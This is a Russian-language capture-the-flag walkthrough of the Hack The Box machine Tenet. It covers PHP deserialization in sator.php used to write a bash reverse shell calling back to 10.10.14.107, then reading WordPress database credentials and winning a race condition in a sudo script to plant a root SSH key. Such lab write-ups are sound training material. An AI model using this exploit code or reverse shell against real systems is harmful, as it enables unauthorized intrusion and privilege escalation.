Хакер - HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Точка входа
- Закрепление
- Продвижение
- Локальное повышение привилегий
В этой статье я покажу простой инструмент для поиска бэкапов, познакомлю тебя с уязвимостью при десериализации объекта в PHP и продемонстрирую Race Condition при выполнении самописного скрипта. Все эти манипуляции мы будем проделывать с Tenet — средней по сложности машиной с Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
По традиции начнем с того, что добавим IP машины (10.10.10.223) в /etc/hosts, чтобы больше не печатать его руками.
10.10.10.223 tenet.htb
И сканируем порты:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Скрипт находит два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). SSH закрыт, и без учетки там делать нечего, поэтому будем «пробивать» веб. Помимо точек входа, нас интересуют любые подробности, поэтому внимательно изучаем сайт.
На одной из страниц находим интересный комментарий — его оставил пользователь neil. В комментарии упоминается файл sator.php, а также бэкап.

Это очень важная для нас информация. Не исключено, что там мы и найдем точку входа, если администратор не выполнил просьбу Нила и не спрятал файлы. Первым делом я решил поискать бэкапы sator.php при помощи утилиты bfac, которая перебирает подходящие варианты.
bfac --url http://tenet.htb/sator.php

Но к сожалению, нам не удалось найти никаких бэкапов.
ТОЧКА ВХОДА
Не оставляя идею с sator, я решил проверить поддомен sator.tenet.php. Чтобы обратиться к виртуальному хосту, нужно указать его адрес в заголовке Host HTTP-запроса. Проверить доступ можно с помощью curl.
curl -H 'Host: sator.tenet.htb' http://tenet.htb

Веб‑сервер вернул нам дефолтную страницу Apache 2. Хвалим себя за удачную находку и добавляем запись в файл /etc/hosts.
10.10.10.223 sator.tenet.htb
Следующий шаг в таких случаях — просканировать директории на найденном домене. Но, помня о комментарии, я сначала поищу бэкапы файла sator.php. На этот раз нам повезло — находим бэкап и можем скачать его для анализа.
bfac --url http://sator.tenet.htb/sator.php

ЗАКРЕПЛЕНИЕ
Давай разберемся с кодом. Этот файл ждет, что будет указан параметр arepo, а переданные данные подвергаются десериализации (строки 23–24). Также имеется класс DatabaseExport, содержащий имя файла и данные (строки 3–6), которые будут записаны в этот файл при вызове деструктора класса (строки 15–20).

Получается, что мы можем сериализовать объект такого класса и отправить сериализованные данные на сервер. А это открывает возможность записать какие угодно данные в любой файл. Писать мы, конечно, будем бэкшелл. Но сначала проверим, есть ли на сервере файл, бэкап которого мы разобрали.

Результаты работы sator.php и бэкапа идентичные, а значит, все должно получиться. Но сначала нам нужно запустить листенер, который будет принимать соединение с нашей стороны. Я буду использовать netcat и оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Теперь разберемся с эксплуатацией. Копируем определение класса DatabaseExport, а затем задаем значение переменных: user_file — это имя файла, а data — бэкшелл, который будет записан в файл (строки 2–11). Остается создать экземпляр класса, сериализовать его и передать в качестве данных на известный нам адрес (строки 12–13). Завершающим действием будет обращение к файлу с бэкшеллом (строка 14).
<?php
class DatabaseExport
{
public $user_file = 'r.php';
public $data = '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.107/4321 0>&1'"); ?>';
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
}
}
$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.10.10.223/r.php");
?>
Выполняем этот код прямо в консоли и получаем шелл в окне листенера.
php exploit.php

ПРОДВИЖЕНИЕ
Так как на хосте развернут веб‑сервер, где крутится целая CMS, то первое наше действие после захвата шелла — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей. Для удобства получим интерактивный шелл с помощью Python 3, а потом поищем директорию WordPress.
python3 -c "import pty; pty.spawn('/bin/bash')"

В WordPress есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных wp-config.php.

Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей, но в этом случае мы можем сразу авторизоваться с ними на сервере по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Зайдя под пользователем, мы теперь хотим получить рут, но вряд ли создатели машины просто оставили нам нужный ключ лежащим где‑то на видном месте. Для упрощения поисков я обычно гоняю скрипты LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты.
Нам везет уже при проверке sudoers! Обрати внимание на команду sudo -l!

Как видишь, здесь любой пользователь (ALL) может выполнить команду /usr/local/bin/enableSSH.sh в привилегированном контексте без ввода пароля (NOPASSWD). Давай глянем на этот скрипт.

Здесь статически задан публичный ключ SSH (переменная key). При вызове функции addKey в директории /tmp создается файл ssh-* (переменная tmpName), куда и записывается SSH-ключ key. А уже после проверки файла (функция checkFile) его содержимое добавляется в список открытых ключей рута (файл /root/.ssh/authorized_keys), а временный файл удаляется. В конце скрипт вызывает функцию checkAdded, которая проверяет наличие ключа в списке.
Так как ключ добавляется в список не из исполняемого скрипта напрямую, а через временный файл, есть вероятность, что мы можем успеть скорректировать содержимое файла в момент после записи в него ключа и перед переносом этого ключа в список. Подменив таким образом публичный ключ своим сгенерированным, мы сможем получить доступ к серверу по SSH от имени рута. Нужно лишь выполнить скрипт, который будет непрерывно записывать во временный файл наш ключ, который мы создадим с помощью команды ssh-keygen.
while true
do
echo "ssh-rsa AAAA...." | tee /tmp/ssh-*
done

Запускаем скрипт, а в другом терминале несколько раз запускаем enableSSH.sh в контексте sudo.

Видим сообщение о неудачном добавлении ключа, а это значит, что записанный ключ не соответствует ключу из оригинального скрипта. Выполним подключение со своим приватным ключом.
ssh -i id_rsa root@tenet.htb

Мы получили флаг рута, машина пройдена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei